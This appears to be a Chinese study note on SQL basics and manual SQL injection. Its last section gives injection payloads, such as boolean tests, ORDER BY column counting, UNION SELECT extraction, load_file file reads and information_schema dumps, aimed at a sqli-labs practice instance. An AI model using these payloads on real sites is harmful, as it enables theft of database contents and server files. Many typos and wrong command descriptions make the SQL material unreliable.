SQL基础语法
常见主流数据库产品
识别数据库方法
SQL注入利用方法
SQL (Structured Query Language) 是具有数据操纵和数据定义等多种功能的数据库语言,这种语言具有交互性特点,能为用户提供极大的便利,数据库管理系统应充分利用SQL语言提高计算机应用系统的工作质量与效率。SQL语言不仅能独立应用于终端,还可以作为子语言为其他程序设计提供有效助力,该程序应用中,SQL可与其他程序语言一起优化程序功能,进而为用户提供更多更全面的信息。
SQL Server数据库包括Microsoft SQL Server以及Sybase SQL
Server两个子数据库,该数据库能否正常运行直接关系着整个计算机系统的运行安全。
数据库基础操作详情
创建(create)
create table [表名]
(column_name data_type(size));
表名 数据类型
创建一个Persons表,包含五列ID、lastname、firstname、address、city
create table Persons
(ID int,
lastname char (25), //(25)字节
firstanme char (25),
address char (40),
city char (20));
删除(drop)
drop table; #删除表
drop database #删除数据库
查询(select)
select ID,lastname form table_name #选择 ID lastname 从 table_name中寻找。
插入(insert into)
INSERT INTO table_name (ID,name,url,serve)
VALUES (value1,vlaue2,value3,value4); //column 列 //value 值
注:插入信息到value_name 插入的列分别为ID,name,url,serve 插入的值是value1-4
例:INSERT INTO web_set(name,url,country)
VALUES ("百度",www.baidu.com,"中国");
更改(UPDATE)
UPDATE websites
SET
conlmn1=value1,column2=value2,……
WHERE some_column=some_value;
注:更新websites中name为菜鸟教学的alexa值与conuntry值修改为value1,value2
UPDATE table_name SET alexa='5000',country='USA' WHERE name='菜鸟'
删除(delete)
DELETE FORM table_name
WHERE some_column=some_vlaue
要从 "Websites" 表中删除网站名为 "Facebook" 且国家为 USA 的网站。
DELETE FROM websites WHERE name='wensites' AND country='USA';
权限(grant)
Grant <权限> on 表名[(列名)] to 用户 with grant option #背景色为固定
例: 用授权命令grant给user1添加查询的权限:
Grant select on Student to user1 with grant option
回收权限(revoke)
REVOKE <权限> ON <数据对象> FROM <数据库用户名>
Revoke select on student from user1 //回收来自user1(数据库)中student表(数据对象)的查询权限
SELECT INTO OUTFILE
SELECT ‘darkmmon1’ from darkmoon INTO OUTFILE ‘path’ //导出数据到系统某个目录下
LIKE语法
选取 name 以"G"开始的所有客户:
SELECT * FROM Websites WHERE name LIKE 'G%'; //%代表多个字符 _代表一个字符
查询来自Websites中所有name列中以G开头的值。
排序 order by
select * from zhao order by user_ID; //将名为zhao的表中所有内容按照升序排列。
order by:要是后面跟着数字超过字段数的时候,则会报错!通过这个可以确定字段数。
ASC: 升序
DESC:降序
分组 group by
select name,COUNT(*)FORM test_table GROUP BY name;
作用:通过一定的规则将数据集划分为若干个小的区域,然后针对若干个小区域进行数据处理。
注:group by 是先排序后分组
聚合函数:sum()、count()、avg()
限定条数 limit
select * from test_table limit 0,10 //找寻指定表中的一到十行信息。
limit记录开始的index,从0开始,表示第一条数据
组合使用
selcet * from table_name limit 0,5 order by user_id;
load_file
函数load_file(file_bath)//读取文件并将文件内容按照字符串的格式返回。
load_file()用在mysql中可以在unoin中充当一个字段,读取web服务器的文件
例:
服务器上文件:d:/test.txt 里面内容是:“key:Hello,word” 用load_file读取出来
selct * form hehe where id=3 and 1=2 union select 0,
load_file("d:/test.txt"),count(*)from mysql.user;
一、主流数据库
1、Microsoft SQL Server
SQL Server 是关系型数据库管理系统。
具有使用方便可伸缩性与相关软件集成程度高等优点
2、MySQL
Mysql是现在主流的关系型数据库管理系统,在WEB应用方面MySQL是最好的关系数据库管理系统应用软件之一
Mysql数据库连接方式
Linux:mysql-u root -p
PHP连接
mysqil_connet(host,username,pssword,dbname,port,socket);
3、PostgreSQL
postgreSQL是一个开源对象关系数据库管理系统。
稳定性极强,用于安全地存储数据
二、识别数据库
1、识别数据库方法
盲跟踪
Web应用技术
不同数据库SQL语句差异
非盲跟踪
报错、直接查询
2、数据库版本查询
mssql select @@version
MySQL select version() / select @@version
Oracle select banner from $version
Postgresql select version()
3、根据网页编程语言去判断
常见搭配:
ASP和.NET:Microsoft SQL server
PHP:Mysql、PostgreSQL
Java:Oracle、MySQL
三、SQL语法基础概括
1、用于关系型数据库交互的标准SQL命令
create、SELECT、insert、update、delete、drop //最上
2、分为三组:
数据定义【Create、Drop】
数据操纵【Select、Insert、Update、Delete】
数据控制【Grant、Revoke】
命令 描述
Create 创建新的表、视图或其他数据库中的对象
Drop 修改现存数据对象,比如一张表
alter 删除表、视图或者数据库中的其他对象
Select 从一张或多张表中检索特定的数据
Insert 创建一条新的记录
Update 修改记录
Delete 删除记录
Grant 赋予用户特权
Revoke 收回赋予用户的特权
增删改查等语法上面。。。。。
四、挖掘SQL注入(利用)**
1、使用逻辑进行确认
OR 1= 1
OR 1=2
AND 1=1
AND 1=2
2、识别数据库
要想成功发动SQL注入攻击,首先要确定数据库的类型这样才能使注入工作具有针对性
关于数据库版本的查询:
Mssql select@@version
Mysql select version()/ select @@version
Oracle select banner form $version
Postgresql select version()
3、盲跟踪
web应用技术
不同数据库sql语句差异
4、非盲跟踪
报错查询
5、使用Uinon语句提取数据
select column-1,column-2,....column- n from table-1
6、如果允许重复的值,是要使用 Union ALL
select column-1,column-2,....colum-n from table-1
7、匹配列
主要两种方式:
union select,NULL,NULL,NULL.... 知道匹配对应列返回为真
order by3,order by4 ...... 当列数小于或者等于当前列的时候返回正常
列:
http://123.59.116.191/sqli-labs-master/Less-1/?id=union select 1,2,3---
----------?id=1' order by 1 --
8、常见手工注入sql语句:
查看security库数据表
union select 1,(select group_concat(table_name)form information_schema.tables where table_schema='security'),'3
查看数据库
union select 1,(select group_concat(table_name)form information_schema.schemata),'3